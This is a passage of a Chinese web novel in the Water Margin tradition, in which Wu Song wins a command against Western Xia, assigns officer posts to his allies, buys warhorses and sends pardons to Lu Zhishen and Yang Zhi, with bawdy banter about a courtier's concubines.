“军无大将,如何厮杀...”
武松假装叹息,随后说道:
“若陛下给不了大将,请允许微臣自行招募将领。”
“准奏!”
徽宗马上答应了。
“兵马未动粮草先行,微臣所需粮草,户部不得克扣!”
户部尚书彭霖有些不高兴,说道:
“武修撰这是甚么话?我岂会克扣你粮草?”
“先君子后小人,丑话说在前头,免得日后索要粮草伤了和气。”
徽宗点头道:
“这你放心,朕会盯着。”
“如此,微臣便接了这个差事。”
蔡京三人以为计谋得逞,心中大喜。
这是一场必输的战争,只等武松兵败,他们就可以褫夺武松的功名,然后有的是手段!
徽宗吩咐杨戬,把郓王赵楷找来。
很快,郓王赵楷进了讲议司拜见。
“朕派武松出征西夏,他担心身份低微,想让你担任秦凤路经略安抚使、都督兵马诸军事,你可敢接?”
此事,武松和赵楷早就商量好了。
但是,当着徽宗和蔡京的面,赵楷必须装一装。
赵楷看了一眼武松,不悦道:
“我从未打过仗,你让我替你当主帅?”
武松心中骂道:
你**真能装啊!影帝级别!
“郓王恕罪,我资历浅,在朝中也没有甚么靠山,只和郓王相识,只能劳烦郓王陪我走一趟。”
赵楷正要“勉为其难”,谁知蔡攸起身,不高兴地说道:
“武松!你把我置于何处?”
武松和赵楷同时愣住了...
这个时候,蔡攸出来凑什么热闹?
“蔡大人这是何意?”
武松假装不知道,蔡攸扫了一眼蔡京,怒道:
“你说在朝中没有靠山,难道我不行?”
“这...”
武松很无语,哪有当着皇帝的面,说自己是靠山的?
蠢猪啊!
谁知,徽宗却说道:
“嗯,枢密直学士也是老臣了,你也帮帮武松吧。”
武松问道:
“蔡大人要与我同往渭州府?”
“谁耐烦去拿鸟地方,你若是要不到钱粮,尽管与我说。”
“如此,多谢蔡大人。”
当着所有人出了风头,蔡攸这才心满意足。
徽宗看向赵楷,问道:
“郓王可敢接这差事?”
第168章 宣抚副使,计谋得逞!
“儿臣身为大宋的皇子,岂敢推辞,儿臣愿意接!”
赵楷“咬牙”接下了重任。
徽宗赞赏道:
“好,如此重担,你愿意接,朕心甚慰。”
“朕今日便加你为河西宣抚使、都督兵马诸军事!”
宣抚使比经略安抚使级别更高,相当于战区总司令。
黄河以下各路经略安抚使,都要听从赵楷的指令。
同时,还有一个都督兵马诸军事,所有军事相关的事宜,都要听从赵楷调令。
就算渭州府种师中,也要听从赵楷的调度。
“儿臣领旨!”
赵楷郑重行礼。
“武松!”
“微臣在。”
“朕加你为河西宣抚副使,协助郓王。”
“微臣领旨。”
赵楷、武松心中都很高兴。
图谋了两**情,终于落地了。
赵楷有了亲自掌兵的机会,而武松也终于拿了兵权。
名义上,赵楷是主官,武松是副官。
但是,到了军队里,一切都由武松说了算。
手底下那帮兄弟,也终于有了从军任职的机会。
蔡京、童贯和高俅也很高兴,他们也觉得诡计得逞,武松死定了。
只等武松战败,一切都好办!
唯有宿元景愁眉苦脸,觉得这一切都是胡闹。
圣旨在前,宿元景有苦说不出。
“战事紧急,察哥回到西夏,必定再起战事。”
“你们两人速速启程,河西兵马,由你们调度。”
赵楷、武松同时拜道:
“臣等领旨告退。”
两人同时退出讲议司。
徽宗起身对高俅说道:
“太尉,随朕踢足球去。”
“是。”
高俅跟着徽宗回后廷。
武松发明的新式足球,徽宗非常喜欢,隔三差五就要踢上两脚。
蔡京、童贯起身,大喜道:
“武松这厮必死,哈哈哈...”
两人猖狂大笑,宿元景无奈道:
“太师位居三公,为何不以朝局为重?”
“太尉此言差矣,武松此子文武双全,正当其用!”
宿元景叹息走出讲议司。
武松和赵楷到了外头,两人脸上同时露出喜色。
“当真让你谋夺到了。”
赵楷难以抑制心中喜悦,却又担忧地问道:
“武松,我可是把前程寄托在你身上,你到底有没有计策对付西夏?”
“没有!”
武松非常干脆,赵楷感觉整个人都懵了。
“没有?那你还敢接这差事?”
“兵无常势、水无常形,未到前线,我怎知如何对付西夏?”
作为穿越者,武松只能基于对西夏的了解出牌。
至于对策,武松目前真的没有。
不过,武松有自信,凭借自己的智慧,还有自己的武力值,对付西夏没有问题。
“不说了,既然与你同穿一条裤子,那便不再猜疑。”
“同穿一条裤子不算真兄弟。”
“如此还不算?你待如何?”
“一起不穿裤子,才是真兄弟!”
赵楷惊讶地看着武松,问道:
“你有龙阳之好?”
武松愣住了...
“我本意是说,我等一起去**女,才算是好兄弟。”
赵楷尴尬地呵呵笑道:
“原来如此,是我误会了...你当真有辱斯文,整日里就知道**女!”
“你才是龌龊之辈,居然说我有龙阳之好!你是不是觊觎我的美色?”
“武松,莫要再说,我等还是兄弟。”
“好,不说了,到我宅子去说正事。”
两人上马,很快回到宅子。
却见院子里停着几十辆马车。
武松大喜道:“我的大将到了!”
走进屋子,果然见到卢俊义、燕青两人。
施恩一众人正在和卢俊义说话。
“师兄,你终于来了。”
武松大喜,卢俊义起身道:
“师弟神机妙算,都被你说中了。”
“那**与李固私通,我已送到官府去了。”
“我将家产变卖,带了家人投奔你。”
武松喜道:
“正要师兄相助,且坐下说话。”
众人坐下来,武松和赵楷坐在中间。
把方才在讲议司的事情说了,众人惊喜。
没想到武松真的拿到了主帅的差事。
“师弟好本事啊,去年参加科举,今年便得了宣抚副使的差遣,一步登天!”
卢俊义感慨不已。
武松今年才20岁,已经得到了宣抚副使这样的职务差遣。
而他已经36岁了,可以说一事无成,甚至自己老婆和管家
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搞到一起。
“师兄不必感慨,建功立业的机会就在眼前。”
武松看向赵楷,说道:
“我已经有两个厉害的将领,只是这两人都有罪责在身,须有赦令。”
“甚么罪责?”
赦免罪责这种事情,赵楷也不敢轻易答应。
如果是**越货,就算大赦天下,也不在其列。
“一个唤作鲁达,原是渭州府的提辖官,因打死恶霸,剃度出家,做了和尚。”
“后来庙里容不下,便落草为寇了。”
赵楷点头道:“打死恶霸,这个好说。”
“另一个唤作杨志,本是杨令公后人,原在殿帅府做制使,因得罪高俅,被夺了差事。”
“后来在京师卖刀,遇到无赖抢夺,一刀杀了无赖,刺配大名府。”
“那梁中书让杨志押解生辰纲给蔡京,半路被梁山贼寇劫了,不敢回大名府,只得落草。”
赵楷听完,说道:
“这杨志其实没有甚么罪过,也可以赦免。”
“如此,你速去那赦令,我好招他们前来。”
赵楷当即离开。
武松把门关上商量事情。
在场八个人:卢俊义、施恩、戴宗、张青、孙二娘、扈三娘、燕青和李二宝。
这八个,都是武松的人,绝对信得过。
很快,到了傍晚时分,赵楷亲自送两道赦令过来,盖了大理寺、刑部的章子。
临走的时候,赵楷让武松明日到王府议事。
两封赦令装好,武松交给戴宗,嘱托道:
“军情紧急,官家催逼我上路,须请师兄他们早日赶来相会。”
“劳烦院长亲自跑一趟,把赦令送到二龙山,莫辞辛苦。”
戴宗把两封赦令贴身藏了,说道:
“二郎放心,我今夜便走,三日内必到二龙山。”
孙二娘回后厨切了一大盘肉,张青烫了热酒过来。
戴宗吃个浑饱,带上东西,立即赶路。
出了皇城,到了东面,天色已经黑了,只有一轮寒月挂着,照得官道一片霜白。
戴宗拿出四个甲马,牢牢拴在绑腿上。
又从袖子里抽出一道黄符点燃,口中念道:
“星斗缠双胫,阴冥化通衢,急急如律令!”
脚下一阵黄色光芒乍现,戴宗已经飞出数百米,消失在黑夜里。
第169章 齐聚郓王府,武松分官职
翌日早上。
武松换上官袍,卢俊义和施恩、张青、孙二娘、扈三娘、燕青、李二宝几个人跟着。
这些人是武松手下的核心班底。
出门后,武松先到了徐宁家门口。
敲开大门,仆人通报,徐宁很快出来:
“大人何事?”
徐宁看着身后一群人,很是好奇。
“前几日说了,请徐教师助我。”
“昨日我接了宣抚副使的差事,不日将往渭州府去。”
“现今我们到郓王府里议事,还请徐教师与我们同去。”
徐宁听了大为惊奇。
宣抚副使,相当于战区副司令,武松一步登天了!
“好,我差人往龙符宫告个假。”
徐宁回去吩咐一句,马上跟着武松出门。
离开徐宁府邸,武松没有直接去郓王府,而是又到了甲仗库找凌振。
听闻武松来找,凌振慌忙出来。
“兄弟与我同去郓王府议事。”
“敢有不从。”
凌振也跟着武松出门。
一行人到了郓王府,仆人开门,领着进了客厅。
赵楷坐在里面,正与何运贞说话,他的父亲何正复也在。
他们父子二人等了武松两年,都在这里不稀奇。
最奇怪的是京西北路转运使张吉居然也在。
“张大人,去年解围,还未登门致谢。”
“二郎莫要客气,都是自家人,你若要谢我,这趟差事带我便是。”
何运贞有些尴尬,事先没说张吉要参与进来。
“张叔说哥哥乃当世英杰,也想跟着去...你看这..”
“张大人不嫌弃,哪有不答应的。”
张吉笑道:“哪敢嫌弃,二郎给个差事就行。”
赵楷请众人坐下,把在场所有人介绍了一番。
徐宁他们认识,其余都是无名小卒。
换做平时,张吉不会正眼瞧他们。
但武松带过来的就不一样了,虽然出身寒微,必有过人之处。
所以,张吉、何正复对张青、孙二娘一众人客客气气行礼。
孙二娘心中暗道:
我本是一个山野里开黑店的,仗了二郎的威势,居然也能与转运使平辈论交。
施恩心里也感慨,去年被一个张团练欺压,如今和王爷坐在一起。
卢俊义也很高兴,终于有大展拳脚的机会了。
赵楷扫视众人,开口道:
“不日父皇和枢密院便要下令,我等就要往秦凤路去。”
“我也未曾打过仗,还需各位相助,特别是二郎。”
武松微微颔首,赵楷继续说道:
“今日召集各位商议,乃是定个章程,特别是各位想要甚么官职,我好上奏父皇,让审官院下了差遣。”
说白了,今天就是问问大家,想要什么官职,想做什么事情?
何正复先开口道:
“我想做河西都转运使。”
都转运使负责统筹负责大军所有钱、粮、军械、草料、衣帛等物资的征收、存储和运输。
虽然做的事情和以前一样,但这次的官职更高一级,河西之地所有钱粮都归何正复管辖。
赵楷马上答应,问其他人想做什么?
张吉说道:
“我曾跟随先帝征战西夏,学过马战,我想要马军都总管。”
都总管这个职务,相当于军长。
马军都总管,就是所有骑兵归张吉统属。
武松看了一眼卢俊义和徐宁,心中暗道:
卢俊义没有做过官,威望不够,压不住其他人。
徐宁也只是御前侍卫官,到了军队里,也难以压服众人。
让张吉统属骑兵也好,至少可以震慑住。
赵楷看向武松,武松微微颔首,赵楷说道:
“好,张大人任马军都总管。”
何运贞开口,说道:
“我不如哥哥勇猛,只读过书,我便要个宣抚司参议官。”
宣抚司参议官相当于总参谋长,是个文职,协助赵楷、武松处置文书。
赵楷马上答应,定了何运贞宣抚司参议官的职务。
何正复、张吉、何运贞三人的官职定了,剩下武松的兄弟。
赵楷问道:“各位想要甚么官职?”
这一问,大家高兴得有点懵...
在场只有施恩做官小管营,其他都没有做过官,面对突如其来的封官许愿,有点不知所措。
武松见众人不说话,开口道:
“我师兄卢俊义枪法好,擅长马战,便在张大人手下讨个马军都钤辖。”
都钤辖相当于师长,比都总管低一级别。
“使得!”
张吉爽快答应。
武松拉进来的人,必定是猛将,张吉心中暗喜。
“杨志是杨令公的后代,也是马上的将军,也替他讨个马军都钤辖的差事,还是在张大人麾下做事。”
“好!”
张吉心中大喜,有两个大将跟随,再好不过。
“小乙便跟着师兄做副手,给你个马军都监。”
“谢师叔,我跟着主人最好。”
马军都监相当于旅长,燕青是卢
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俊义的随从,跟着刚合适。
“我再向王爷讨个步军都总管的差事。”
“你已是宣抚副使,还要步军都总管作甚?”
赵楷很好奇,武松说道:
“我此去定要上阵杀敌的,不像童贯那厮‘坐而论道’。”
“好,你担任步军都总管。”
步军都总管相当于步兵军长,所有步兵听从武松号令。
武松擅长的是步战,所以要了步军都总管的差事。
“鲁达本是渭州府的提辖官,擅长步战,我为他讨个步军都钤辖的差遣。”
“好。”
步军都钤辖,相当于步兵师长,跟着武松打仗正合适。
“徐教师擅长钩镰枪,我替你讨个步兵副总管的差事,你以为如何?”
徐宁惊喜起身,拜道:
“谢大人保举。”
步兵副总管,相当于步兵副军长。
对于徐宁来说,也算是一步登天了。
当然,在宋朝,差遣和品级不等同。
等打完仗,差遣就没了。
但有了副军长的差遣,等回到朝廷**行赏,少不得他的功劳。
“施恩兄弟,你在我麾下做个步军都监。”
施恩此人武艺比较一般,也没有打仗的经验,所以只一个旅长级别的官职。
“谢哥哥提携。”
这个官职,已经和孟州城的张都监一样了,施恩很满足。
“凌副使擅长火炮,我任你为河西兵器司提举,意下如何?”
“再好不过,谢大人、谢王爷。”
兵器司提举,总管所有军械,在何正复手下做事。
对于凌振来说刚好。
“戴宗脚程快,我举荐他为走马承受。”
走马承受,这个官职负责情报收集、传达,同时还有监察职能。
戴宗负责情报收集、传达刚好。
赵楷点头答应了。
“哥哥、嫂嫂跟着戴院长,替我打探情报,给你们侦候的差遣。”
算起来,孙二娘、张青这两人和武松关系好。
但因为他们两个都没有当过官,也没有打过仗,武力值也一般。
所以不能给他们当军官。
两人都是开黑店的,让他们负责情报打探刚好。
“二郎吩咐就是。”
夫妻两个爽快答应了。
除了时迁、曹正,其他人都要了差事。
时迁、曹正情况特殊,等他们回来,再行安排。
所有人分完了,赵楷的目光却看向扈三娘,笑道:
“你是否忘了最重要的人?”
第170章 购买战马,赦令送达
扈三娘委屈巴巴看着武松...
这架势,武松如果解释不好,扈三娘就要当众哭给武松看。
“怎会忘了三娘,你和二宝跟着我,我身边须有信得过的。”
听了这话,扈三娘心中转喜,冷哼一声不说话,脸色却红润了。
见扈三娘少女作态,何正复、张吉两个老人家摇头暗笑。
“鲁智深、杨志他们何时能到?”
战事紧急,蔡京他们又想武松早点出发。
赵楷担心时间太久。
“他们早有准备,只等赦令到了,便能赶来。”
“如此,我先去枢密院。”
何运贞留下和赵楷写文书,其他人起身退出王府。
张吉、何正复两人回去准备。
徐宁、凌振也各自回去吩咐好家里的事情,准备跟随武松前往渭州府。
回到宅子里,武松把李馨找过来,问库房还有多少银子。
李馨说传道书舍那边每月都有分红过来,白银如今还有170万两。
卢俊义听着,惊奇道:
“师弟的家私不少啊。”
“都是写书赚来的。”
说到这里,武松才想起回清河县探亲的时候,又写了一部《西游记》。
“二宝,把我那部手稿送到传道书舍去,交给他们东家李庸。”
李二宝回房拿了书稿,马上送往传道书舍。
“师兄可知相马之术?”
“我不懂,小乙懂。”
燕青说道:“曾跟人学过相马,略懂些皮**。”
“你跟我去一趟马市。”
“师叔差遣,我便去。”
武松回头把扈三娘叫过来,让她跟着去。
扈三娘也不问为什么,只要跟着武松,干啥都行。
武松出门,到了外城马市,那里有契丹人贩马。
燕青挨个看,最后选定一家。
武松找到贩子,问他有多少战马?
贩子反问武松要多少?
武松伸出手掌,贩子哈哈笑道:
“区区五十匹马,我有的是。”
“不,我要五千匹马!”
贩子愣了一下,随即怒道:
“你这厮消遣我!”
在北宋时期,马匹极度缺乏,因为宋朝人不会养马。
所需的马匹,特别是优质战马,一般从大理国进口,数量有限。
辽国当然也有马匹,但是战马这种东西属于战略军备,辽国禁止出口,就像大宋禁止铁器出口辽国一样。
走私当然存在,但数量有限。
武松开口就要五千匹马,这听起来就不是真的。
所以贩子很生气,说武松拿他开玩笑。
“我叫武松,圣上钦点的宣抚副使,马上要往西夏打仗。”
“我需要战马,而且就是五千匹!”
贩子这下认真了,不过,武松要求的五千匹,他还是做不到。
“原来是大宋状元当面,五千匹马没法子。”
“莫说我不行,便是整个马市加起来,也弄不到五千匹马。”
武松问道:
“你是契丹人,你可知道契丹如今内乱了?”
“并不知晓。”
“你回去打探消息,便知道会宁府那边乱了,女****了,如今辽国正乱着,你趁乱弄五千匹马,不是问题。”
贩子将信将疑,武松继续说道:
“你若能弄到战马,送往渭州府,我许你一匹马70两银子。”
如今市场行情,一匹战马价格在30两左右,这是优质战马的价格。
武松许诺70两银子,价格翻了一倍,非常诱人。
果然,贩子舔了舔嘴唇,目光贪婪。
不过,光凭一句话,贩子也不敢就相信。
“若是你诓我,又当如何?”
“做买卖的,哪有一本万利,你若是想要这银子,便弄战马来,多少我都要!”
贩子暗暗咬牙,点头道:
“好,我且先探探口风。”
和贩子谈完,武松又找了几家,以同样的条件许诺。
离开马市,扈三娘好奇问道:
“二郎,你不是步兵都总管么?为何买战马?”
“西夏、辽国厉害的是骑兵,我也需要骑兵。”
扈三娘微微点头,这个好理解。
“这支骑兵,由你统领,是我的亲卫!”
“啊?我?好!”
扈三娘大喜。
上午在郓王府没有给她安排职务,原来留着最重要的给她。
“二郎放心,我一定带好兵马,守卫你的安危!”
武松笑了笑,牵着扈三娘的手往回走。
...
太师府。
童贯拿着一份名册,放在桌上。
“这是今日武松举荐的,郓王送到了枢密院。”
蔡京仔细看过,冷笑道:
“何正复是个文臣,担任河西转运使,尚可。”
“张吉担任马军都总管,可笑,这厮跟着先帝打过几次仗,便自诩懂军事。”
童贯眉头微微一动,感
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觉蔡京把自己骂了一顿。
“徐宁..凌振..鲁达..杨志..哈哈哈,鸡鸣狗盗之辈。”
蔡京把名单丢在一旁,感觉十分可笑。
“那太师的意思,允了他?”
“自然是允了,此等乌合之众,能成甚事。”
“好,那我便允了。”
童贯把名单收起来。
蔡京嘱咐道:
“让那武松早早上路,休要拖延。”
“晓得,这武松必败。”
童贯拿着名单,欣然回枢密院。
...
二龙山。
一轮寒月挂在天上,鲁智深和杨志、时迁、曹正四人坐在外面喝酒吃肉。
中间烧了一堆篝火,几十个喽啰围在一起说笑。
今天鲁智深下山,抢了一户贪官。
那人是剑南道的知州,刚刚告老还乡,**了几十万两银子,堆在库房里。
时迁先下山,探得虚实,鲁智深、杨志带着喽啰随后杀入。
把那狗官杀了,奴仆遣散,银子一半分给周围百姓,一半运到山上。
杨志喝了一碗酒,抬头看月,说道:
“二郎去了许久了,怎的一直不回信。”
比起其他人,杨志更想沙场立功。
身为杨家后人,却落草为寇,对他来说是个耻辱。
鲁智深笑道:
“二郎也须时日安排,莫要焦急,且再喝两碗。”
时迁嘿嘿笑道:
“杨制使莫要忧愁,我在京师待过些时日,二郎的能耐是见过的。”
“他说能赦免罪责,那就一定能。”
正说着,放哨的喽啰大喊道:
“有人上山了。”
鲁智深连忙抓起禅杖,杨志也掣出宝刀,冲到上山路口,时迁早已爬到高处张望。
“噫?好快!”
时迁刚刚说完,人影已经落在山顶。
“你是甚么人!”
鲁智深吃了一惊,来人速度太快了,很不寻常。
“两位头领可是鲁智深、杨制使?”
“正是洒家,你是何人?”
“在下戴宗,二郎托我送信来的。”
来的不是别人,正是神行太保戴宗。
离开京师后,戴宗日夜不休,两天便到了二龙山,着实神速。
“呀,原来是神行太保戴院长,二郎早提过你。”
“来,坐下说话。”
戴宗连续奔跑两天两夜,也着实累了。
坐下来,先喝了两碗酒,再从怀里掏出赦令。
第171章 任命文书,一步登天
鲁智深、杨志接了赦令,两人皆是惊喜。
两人的罪责都不小,没有武松搞来的赦令,一辈子只能当强盗。
时迁笑问道:
“二郎不曾给我赦令?”
“你已经是个**,哪来的赦令?”
时迁哈哈大笑,拿了一盘肉招待戴宗。
“二郎在京师如何?”
杨志欣喜收了赦令,戴宗说道:
“二郎接了征战西夏的差事,郓**宣抚使,二郎任宣抚副使。”
鲁智深、杨志都是军武出身,听说武松封了宣抚副使,都很诧异。
“果然万般皆下品、惟有读书高,二郎初始从军,便是宣抚副使。”
“我等便是沙场百战,也做不得这大的官。”
回想自己的半生,辛苦考个武举,只在殿帅府做个制使。
后来刺配大名府,校场舍命比武,梁中书抬举做了个提辖使。
庸庸碌碌,哪里比得上武松这般快。
时迁问道:“院长,我家哥哥做了宣抚副使,不曾给我们兄弟一官半职?”
“放心吧,到了军中少不得做个大将。”
戴宗狼吞虎咽吃了个浑饱,说道:
“今日晚了,我须歇息。”
“明日一早,几位便日夜赶往京师。”
“这次出征西夏,蔡京、童贯催逼甚是急切,耽搁不得。”
“几位头领莫辞辛劳,早早安排妥当。”
杨志说道:“院长且去歇着,我等今夜定然安排妥当,明早便走。”
戴宗进山洞躺下就睡。
拿到了赦令,鲁智深、杨志都高兴。
鲁智深本就是渭州府小种经略相公的提辖,因为打**郑屠,才连夜跑路。
如今得了赦令,可以再回渭州府。
而且,这一次跟着武松回去,肯定不是小小提辖。
算起来,也是风光回乡了。
杨志赶紧让喽啰清点山寨的东西。
曹正说了一声,连夜下山回家。
家里虽早已安排妥当,但眼见要回东京老家,还需和老婆、丈人说一声。
山寨忙忙碌碌一晚上,到了第二日朝阳升起时,山寨已经妥当了。
鲁智深、杨志只带了自己的形状,山寨交给几个喽啰看着。
时迁本是暂住,没有甚么要带的。
曹正已经回来了,行李备好了。
几人当即下山,喽啰送到山下。
鲁智深吩咐道:
“这山寨你等守着,洒家当是不回来了。”
“只怕那蔡京为难,若是有个好歹,洒家还回来落草。”
“你等喽啰劫掠须遵洒家的规矩,不劫百姓、不劫良善,只杀狗官。”
喽啰一一都记住了。
吩咐完毕,鲁智深四人这才骑马往东京走。
戴宗徒步走了一阵子,说道:
“二郎在京师须等我消息,我先走一步,给二郎报了信,也好让二郎安心。”
“院长何不与洒家同行,你两条腿如何走得过四条腿?”
“我外号神行太保,自有些许道术。”
说罢,戴宗把四个甲马绑在腿上,抽出一张黄符引燃,念道:
“曦轮照我影,八荒缩地庭!”
腿上甲马发出黄色金光,戴宗拱手道:
“我先走一步,在京师候你们。”
说罢,戴宗风也似的消失在山间。
鲁智深大为惊奇:
“这戴宗生得一双好腿!”
时迁笑道:“大师,戴宗这是道术,他的腿也是爹娘生的。”
“你这厮聒噪,洒家如何不知,只这道术着实了得。”
杨志说道:“我等也快些,莫让二郎等久了。”
四人急忙赶路。
...
童贯爽快批了赵楷的任命文书,呈给徽宗看过。
徽宗近日新招募了一群球员,正和高俅在禁中踢球,早把西夏的战事晾在一边,只是略微看了,吩咐童贯莫要为难武松,臣子要同心,随后盖了章子。
童贯把任命文书丢给蔡攸,让他送给赵楷。
蔡攸拿着任命文书先到了武松府上,正好武松和卢俊义一起指点扈三娘和李二宝枪法。
见到蔡攸,武松笑呵呵请他到书房坐下说话。
对待蔡攸这个人,就像哄傻子,武松乐得逗他玩。
“蔡大人日理万姬,如何得空到我这里来耍?”
“狗屁,我何曾日理万机,事情都是下面人做。”
“蔡大人谬矣,我说的是日理万姬,姬妾的姬。”
蔡攸恍然,哈哈笑骂道:
“小猢狲,跟本官耍嘴皮子。”
“那舌姬如何?”
“不好!”
“嗯?老子养了五年,方才练就一副好舌头,你却说不好?”
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武松嘿嘿笑道:
“自大人把舌姬送我,我如今每日早晨起来,便觉着后腰酸痛,着实不好。”
蔡攸指着武松哈哈笑道:
“你这厮没见过好的,自个儿放纵了。”
“哎,大人自小锦衣玉食、妻妾成群,哪比得你。”
“你若要,我再送你几个。”
武松摇头笑道:“多谢大人美意,不过我宅子里人多,多有不便。”
蔡攸随口说道:“那你便到我府上来,让你耍着玩。”
“噫?岂有此等事情?不可,万万不可。”
“有甚么要紧,不过是几个妇人罢了,得空你便来。”
“如此,多谢蔡大人厚爱了。”
扯了个淡,武松问道:
“蔡大人此来必有公干?”
蔡攸从袖子里拿出任命文书,丢给武松,说道:
“我知那郓王受你摆布,这任命文书童贯给我,我便给了你。”
武松笑呵呵收了,说道:
“蔡大人,你家老子必要对付我,你须帮我。”
“我已说了帮你,何须聒噪。”
“所谓日近日亲、日远日疏,我在外征战,那老狗整日里狺狺狂吠,若无人替我在圣上近前美言,必有猜忌的时候。”
“我比那老狗与圣上更亲近,你无需担忧。”
“如此便好,下官先谢过蔡大人。”
蔡攸喝了一口茶,嫌弃武松的茶叶太便宜,起身就要走。
“你把书信送给郓王,若得闲,便来我府上。”
“下官记住了。”
蔡攸起身走了,武松送出门外。
回到屋里,武松拿出盖了徽宗印章和枢密院章子的任命文书,众人看了,喜不自胜。
“我等也算是一步登天了。”
施恩喜滋滋看着自己的名字,感慨人世无常,骤然便富贵了。
卢俊义说道:
“任命文书已到,蔡京、童贯必然催促上路,鲁智深、杨志还未到,且拖延几日。”
“这个我有法子,我将文书送与郓王,再到蔡攸府里去,若是童贯来催,只说我与蔡攸议事。”
蔡攸是枢密直学士,相当于总参谋长。
武松要出征,和总参谋长商量军机要务很正常!
“是个好法子。”
卢俊义赞赏。
武松拿了文书,当即出门往郓王府走。
第172章 姬妾成群,林冲感慨
到了郓王府,武松把任命文书给赵楷。
看过后,赵楷疑惑道:
“蔡攸为何送与你,不给我?”
“那厮无非想拉拢我,文书与我,显得与我亲近罢了。”
赵楷收了任命文书,问道:
“你真投靠蔡攸?”
“屁话,老子投靠你,但你这郓王不争气,还不如蔡攸。”
一句话说得赵楷语塞。
“蔡攸这厮善于钻营,父皇年少时,他便与父皇结交,如今圣眷正浓,我确实不如他。”
“好了,不是真心说你,蔡攸父子不和,无非利用他而已。”
赵楷不笨,自然知道其中道理。
武松甚么性子,赵楷也知晓,没有猜忌甚么。
赵楷问道:
“你招募那些人,几时到京师?”
“十日是要的,从青州二龙山到京师,路途是有的。”
“十日...只怕蔡京、童贯催逼。”
“无妨,来时与蔡攸商议妥当了,我到他府上住着,推说商议军机,你也寻几个人帮衬,如此便有了推脱的由头。”
赵楷笑道:“你这厮总有诡计。”
武松离开郓王府,直接往蔡攸府上去。
到了门口,抬头看时,却见这府邸居然不比蔡京的差。
这厮果然得了徽宗的赏识。
敲开门,仆人问武松是谁。
武松说了缘由,仆人不信,不让武松进门。
武松只得又到了枢密院,找到蔡攸。
蔡攸当即与武松回府,直入后院。
却见里面养着数百美姬,个个锦衣玉食,不用做其他事情,只学吹拉弹唱。
武松看呆了...
“我虽不是皇帝,但后院里的女子不比圣上的嫔妃差。”
“蔡大人,你领我进来,不怕我把她们都...”
“嘿,你有几只鸟,我便让你住下,你能淫她们几个!”
武松正色道:
“蔡大人此言差矣,我武松读圣贤书,岂是好色之人?”
“放**屁,你家中养了多少**,你以为我不知!”
“我那是扶危济困,替她赎身。”
蔡攸哈哈大笑道:“果然读圣贤书的没好人,一肚子男盗女娼,偏要说那些个大道理。”
“不与你扯淡,这后院的姬妾,你若有能耐,把她们都淫了,我敬你是条汉子!”
武松的嘴角都要压不住了。
“蔡大人,君子一言、驷马难追,你堂堂枢密直学士,可休要与我翻脸算账!”
“小猢狲,老子今日看你能逞到几时。”
蔡攸招手,婢女传令,把数百姬妾全部叫过来。
蔡攸和武松坐在中间,周围众女环绕。
光坐在中间,便闻到了淡淡的体香味。
武松仔细看时,高矮胖瘦、燕瘦环肥,各有姿色,居然没有一个雷同的。
武松心中感慨:
这就是官二代的生活,贫穷的他根本无法想象。
若放在后世,不得住一个小区?
“这位是状元武松,曾在景阳冈上打虎的。”
“我今日请他到后院住些时日,看你们的能耐,若能将降服,我重重有赏!”
众女看向武松,眼中露出淫邪的目光。
这些女子养在后院就是为了伺候蔡攸的。
可是蔡攸年纪已有30多岁,早就身子骨不行了。
这些女子日日夜夜守着空房,哪里有不想汉子的。
见武松相貌堂堂、身材魁梧,众女都窃笑。
“主人,我等若跟了他,岂不是玷污了身子?”
“污了身子,你便跟他去,他也是个状元,不亏待你。”
听了这话,众女心中更加躁动。
守着蔡攸度日如年,若能跟着武松,必定逍遥快活。
见众女不动手,蔡攸骂道:
“一群**,装甚么贞洁烈女。”
“春桃,你过来!”
一个身材高挑、面若桃花的女子上前,跪在武松前面。
“武松,你自夸英雄,看你能奈何她?”
武松问道:“此女有甚么妙处?”
“这**最是风骚,你若能降服她,才算是汉子!”
“大人这是考我?”
“便是考你!”
“好,我若不降服了她,大人定然看不起我。”
武松抱起春桃进屋,恰好婢女进来,说徽宗找他进宫踢球。
蔡攸马上离开,匆匆进宫去了。
...
梁山泊。
此时已经春天,但山上颇为清寒,冰雪还未消融。
晁盖和宋江、吴用、林冲几个头领坐在院子里烧火喝酒。
却见一个眉粗眼大、胖面肥腰,手腕戴着一副大金镯子的妇人走上来。
此人正是母大虫顾大嫂!
“大嫂来了,且坐下吃碗酒。”
晁盖招手,顾大嫂便在火堆旁坐下,自己倒了一大碗酒。
“山下可有甚么动静?”
宋江问顾大嫂。
顾大嫂负责在梁山泊下面的道路开店。
平日里接引梁山的人来往,同时打探消息
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。
“今日来了个汴京的商客,说起武松的事情。”
祝家庄一战,武松和林冲打了个平手,李逵被武松打得不敢还手,特别是有状元这层身份加持,梁山上的人对武松就分外关注。
“武松如何?”
林冲追问,顾大嫂说道:
“听闻武松和扈三娘在大相国寺闲逛,遇到高俅的儿子高衙内。”
“那厮调戏扈三娘,被武松一顿好打。”
“高俅那厮带着兵马要捉武松,反被武松提着发髻拖到宫门口告状。”
“那客商说,当时好大的阵仗,京师**了数万人。”
林冲听了,心中涌起一股异样的感受。
“后来呢?”
“后来大理寺捉了高衙内,高俅被罚俸。”
林冲惊呆了...
想当年,自己老婆在大相国寺被高衙内调戏,自己只能忍气吞声。
后被高俅陷害,妻子**,自己也险些烧死在草料场。
这许多年了,哪有半分报仇的指望。
一样的遭遇,武松却把高俅父子狠狠一顿打。
晁盖忍不住赞叹道:
“这武松是条好汉!可惜了,他若能到我梁山泊聚义,方才爽快。”
宋江沉默不语...
吴用感慨道:“他是状元的出身,哪里肯定我们这里落草。”
“既然武松是个英雄汉,那扈家庄我们便不理会了。”
晁盖点头道:
“日后我们不骚扰扈家庄便是。”
...
枢密院。
童贯怒气冲冲找到蔡攸,质问道:
“那武松是不是在你家里厮混?”
“枢密使这是甚么话,武松在我家里,自然是商议进兵的策略。”
“放屁,你懂甚么策略,你们不过是日夜**。”
蔡攸怒了,骂道:
“老子能**,你能作甚!不过是王八看天,干瞪眼!”
蔡攸讽刺童贯是个太监,啥都干不了。
童贯最恨别人骂他太监,怒道:
“小王八,延误了军机,拿你问罪!”
“老阉人,老子的罪责轮不到你来问!”
两人扯着嗓子大吵大闹,宿元景听了,实在觉得不成体统,劝道:
“两位大人这是作甚?莫要再吵了。”
“童枢密催逼有何用处?蔡学士也莫要教坏了武松。”
两人都不爽,甩着袖子离开枢密院。
宿元景叹息道:
“上下不和,必败、必败...如何是好啊..”
第173章 兄弟齐聚,面圣辞行
蔡攸回到府上,进了后院,却见一群美姬围在门口看热闹。
蔡攸见状,骂了一句:
“狗猢狲,恁地厉害!”
“让武松到书房来见我!”
吩咐完毕,蔡攸回了书房。
